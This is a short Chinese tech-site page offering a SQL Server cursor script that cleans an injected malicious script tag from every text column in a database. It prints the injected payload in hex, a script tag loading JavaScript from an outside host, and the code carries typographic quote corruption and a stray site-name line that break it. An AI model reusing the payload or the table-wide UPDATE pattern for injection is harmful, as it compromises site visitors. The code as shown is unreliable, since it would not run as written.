知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

数据库挂马修复语句

发布时间:2012-12-01 00:29:50作者:知识屋

declare @t varchar(255),@c varchar(255) 
dEcLaRe table_cursor cursor
 
for select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR
 
 
 
b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
 
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
 
while(@@fEtCh_status=0)
 
bEgIn
 
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(['+@c+'], 替换挂马代码转十六进制,””)’);
 
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
 
eNd
 
close tAbLe_cursoR
 
deallocate tAbLe_cursoR
 
dEcLaRe @t vArChAr(255),@c vArChAr(255)
 
dEcLaRe tAbLe_cursoR cUrSoR
 
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR
 
 
 
b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
 
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
 
while(@@fEtCh_status=0)
 
bEgIn
 
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT
 
 
 
(0x3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372
 
 
 
6970743E3C212D2D aS vArChAr(67)),””)’)
 
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
 
eNd
 
//Www.Killsec.Com 
 
cLoSe tAbLe_cursoR
 
dEAlLoCaTe tAbLe_cursoR
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜
230